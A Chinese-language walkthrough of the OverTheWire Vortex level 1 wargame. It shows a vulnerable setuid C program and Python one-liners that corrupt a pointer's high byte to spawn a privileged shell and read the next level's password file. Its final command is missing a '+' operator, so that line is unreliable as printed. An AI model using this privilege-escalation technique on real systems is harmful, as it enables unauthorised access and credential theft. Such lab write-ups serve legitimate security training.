本级的目标是通过一个有缺陷的程序获取下一关用户的密码。密码存放在/etc/vortex_pass/vortex2中。
程序代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
可以看到,这个程序是会读取用户输入,并且根据输入,通过一个switch语句执行不同的操作。当遇到’\n
的时候打印出buf
;当遇到\\
的时候指针会向后移动;其他情况下会向前移动并赋值。
使用上一关得到的vortex1的密码登录后,进入/vortex目录,用ls -l指令可以得到:
-r-sr-x--- 1 vortex2 vortex1 7607 Feb 4 05:21 vortex1
vortex1文件,即以上代码编译得到的可执行程序,所属用户是vortex2,所属组是vortex1。并且在执行权限中,setuid位被置。就意味着在执行vortex1时,可以临时使用vortex2的权限,利用这一权限就可以打开存有密码的文件,得到下一关密码。
从源代码中可以看到,函数e()中可以设置uid并且打开一个shell。因此只要我们触发e()中的条件,就可以利用shell查看密码了。
那么怎么样触发条件呢?它的要求是ptr
的高位是0xca,显然我们不大可能将ptr
准确移动到0xca的位置,而需要修改ptr
的值。
通过观察可以发现,ptr
的初始位置在buf
的正中间,即buf + 256
,而我们可以通过输入\\
和其他字符来移动ptr
,因此可以通过找到ptr
相对buf
的位置,从而修改ptr
的值。
可以通过objdump查看汇编指令:
80485dd: 8d 44 24 1c lea 0x1c(%esp),%eax
80485e1: 05 00 01 00 00 add $0x100,%eax
80485e6: 89 44 24 14 mov %eax,0x14(%esp)
80485ea: e9 9f 00 00 00 jmp 804868e <main+0xce>
80485ef: 8b 44 24 18 mov 0x18(%esp),%eax
80485f3: 83 f8 0a cmp $0xa,%eax
通过比较C语言可以得到,buf
在0x1c,ptr
在0x14,x
在0x18,和声明的顺序不太一样。因此我们可以得出,从buf
移动到ptr
的高位(小端序机器)需要回退256+4+1=261次。在回退之后,再输入0xca就可以将高位修改为0xca,再输入一个其他字符,就可以触发函数e()中的条件。
为了便于输入,我们用python的print指令。
python -c 'print "\\" * 261 + "\xca" + "a"' | /vortex/vortex1
当然,这样写不会有什么效果,因为这样虽然打开了一个shell,但没有给它任何指令。我们加上打开密码文件的指令。
python -c 'print "\\" * 261 + "\xca" + "a" + "\ncat /etc/vortex_pass/vortex2\n"' | /vortex/vortex1
但是这样也没有效果。这就出现了另一个问题,即shell处理EOF的问题。
在执行execlp时,STDIN没有清除,因此shell会遇到EOF并退出。解决这一问题有两种方法。
可以利用ENV,当shell以sh的名字启动时,bash会寻找变量ENV,读取它对应的文件并执行其中的命令。因此我们只需要在一个文件里写上命令:
cat /etc/vortex_pass/vortex2
然后再将执行的命令改为
python -c 'print "\\" * 261 + "\xca" + "a"' | env ENV=/tmp/xxx /vortex/vortex1
即可。
在服务器端,创建文件必须在/tmp目录下。
由于kernel的STDIN使用了一个循环buffer,因此可以用超长的字符串冲掉原有的EOF。buffer长度为4096个字节。需要的额外字符长度=4096-261-2-1=3832个字节。
因此可以将执行的命令改为
python -c 'print "\\" * 261 + "\xca" + "a" + "a" * 3832 "\ncat /etc/vortex_pass/vortex2\n"' | /vortex/vortex1
最终可以打印出下一关的密码。
https://mcpa.github.io/vortex/wargame/web/overthewire/2015/10/21/vortex01/
http://ins3cure.blogspot.com/2012/09/overthewire-vortex-level-1.html